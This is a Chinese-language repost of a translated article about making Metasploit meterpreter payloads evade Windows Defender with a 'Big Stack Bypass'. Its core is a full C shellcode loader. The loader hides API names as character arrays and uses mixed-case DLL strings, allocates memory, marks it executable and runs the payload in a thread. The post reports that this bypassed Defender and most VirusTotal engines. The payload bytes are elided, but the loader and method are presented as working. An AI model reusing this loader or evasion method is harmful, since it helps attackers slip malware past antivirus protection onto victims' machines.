【翻译】免杀技巧--使MSF变得再次可行

admin 2023年2月6日09:50:57评论70 views字数 2235阅读7分27秒阅读模式

    本文为翻译文章,有兴趣的师傅可点击阅读原文查看。

    使用大堆栈方式,让msf的payload成功绕过windows defender和其他防护软件。这篇文章的目的是通过在一个启用了WindowsDefender的Windows系统上实现一个获取meterpreter会话,来证明Big Stack Bypass的有效性。

    我们从一个未加密和未编码的meterpreter二进制有效载荷开始。

【翻译】免杀技巧--使MSF变得再次可行

    在开始之前我们先保证这个过程是正确的,也就是运行载荷后可以获取一个正常的msf会话。

【翻译】免杀技巧--使MSF变得再次可行

    运行载荷后收到会话,说明整个过程无误。

【翻译】免杀技巧--使MSF变得再次可行

【翻译】免杀技巧--使MSF变得再次可行

我们注意到,有效载荷约为200KB。我们把它粘贴到我们在最初的大堆栈绕过写法中使用的代码模板中。

#include <windows.h>#include <stdio.h>#include <time.h>#include <random>
typedef LPVOID (WINAPI * VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);typedef HANDLE (WINAPI * CreateThread_t)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags,LPDWORD lpThreadId);
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };unsigned char sVirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c',0x0};unsigned char sCreateThread[] = {'C','r','e','a','t','e','T','h','r','e','a','d',0x0,};


int main(VOID) { //plain meterpreter payload Unsigned char payload[] = {[…snip…]} size_t payload_len = sizeof(payload); void * exec_mem; BOOL rv; HANDLE th; DWORD oldprotect = 0; //function pointers VirtualAlloc_t VirtualAlloc_p = (VirtualAlloc_t) GetProcAddress(GetModuleHandle((LPCSTR) "KErnEl32.DLl"), (LPCSTR) sVirtualAlloc); VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) "kErnEl32.DLl"), (LPCSTR) sVirtualProtect); CreateThread_t CreateThread_p = (CreateThread_t) GetProcAddress(GetModuleHandle((LPCSTR) "kERnEl32.DLl"), (LPCSTR) sCreateThread); // Allocate a memory buffer for payload exec_mem = VirtualAlloc_p(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to program memory ; this gets inlined RtlMoveMemory(exec_mem, payload, payload_len); // Make payload executable rv = VirtualProtect_p(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("nLaunch Payload?n"); getchar();
// Run payload if ( rv != 0 ) { th = CreateThread_p(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, INFINITE); } return 0;}

现在让我们关闭原有会话,看看我们是否可以绕过Defender。

当我们把植入物放到我们的测试文件夹中时,没有发生任何事情。ThreatCheck确认它被标记为安全。

【翻译】免杀技巧--使MSF变得再次可行

运行载荷,获取session

【翻译】免杀技巧--使MSF变得再次可行

该技术也绕过了VT上的大部分AV。

【翻译】免杀技巧--使MSF变得再次可行






     ▼
更多精彩推荐,请关注我们


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!


【翻译】免杀技巧--使MSF变得再次可行



原文始发于微信公众号(鸿鹄实验室):【翻译】免杀技巧--使MSF变得再次可行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月6日09:50:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【翻译】免杀技巧--使MSF变得再次可行https://cn-sec.com/archives/1538585.html

发表评论

匿名网友 填写信息